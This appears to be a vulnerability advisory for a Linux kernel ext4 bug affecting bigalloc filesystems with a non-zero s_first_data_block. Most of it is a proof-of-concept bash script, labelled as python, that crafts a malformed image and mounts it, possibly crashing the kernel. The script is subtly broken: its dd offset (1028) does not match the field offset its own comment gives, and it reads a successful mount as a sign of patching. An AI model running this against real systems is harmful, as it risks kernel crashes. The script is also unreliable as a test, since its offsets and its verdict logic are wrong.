In the Linux kernel, the following vulnerability has been resolved:
ext4: reject mount if bigalloc with s_first_data_block != 0
bigalloc with s_first_data_block != 0 is not supported, reject mounting
it.
Linux Kernel (Mainline prior to commit 3822743dc203)
Linux Kernel (Stable branches prior to fixes)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash
# PoC for CVE-2026-31447: ext4 bigalloc with non-zero s_first_data_block
# This script creates a malformed ext4 image and attempts to mount it.
IMAGE_FILE="poc_ext4.img"
MOUNT_POINT="/mnt/test_poc"
# Create a blank image (64MB)
dd if=/dev/zero of=$IMAGE_FILE bs=1M count=64 &>/dev/null
# Format with ext4 and bigalloc (Cluster size 4096)
# Note: mkfs.ext4 typically sets s_first_data_block to 0 or 1024.
# We attempt to create a bigalloc filesystem.
if command -v mkfs.ext4 &> /dev/null; then
mkfs.ext4 -F -O bigalloc -C 4096 $IMAGE_FILE
# Modify the superblock to set s_first_data_block to a non-zero value (e.g., 1)
# This simulates the unsupported configuration that triggers the bug.
# Offset 0x400 is the start of the superblock, s_first_data_block is at offset 0x44 (4 bytes, little-endian).
printf '\x01\x00\x00\x00' | dd of=$IMAGE_FILE bs=1 seek=1028 count=4 conv=notrunc &>/dev/null
echo "Attempting to mount malformed image..."
mkdir -p $MOUNT_POINT
# This mount call may trigger a kernel panic or Oops on vulnerable systems.
mount -o loop $IMAGE_FILE $MOUNT_POINT
if [ $? -eq 0 ]; then
echo "Mount succeeded (System likely patched or not vulnerable)."
umount $MOUNT_POINT
else
echo "Mount failed (Expected behavior for patched systems)."
fi
rm -f $IMAGE_FILE
else
echo "mkfs.ext4 not found. Cannot generate PoC image."
fi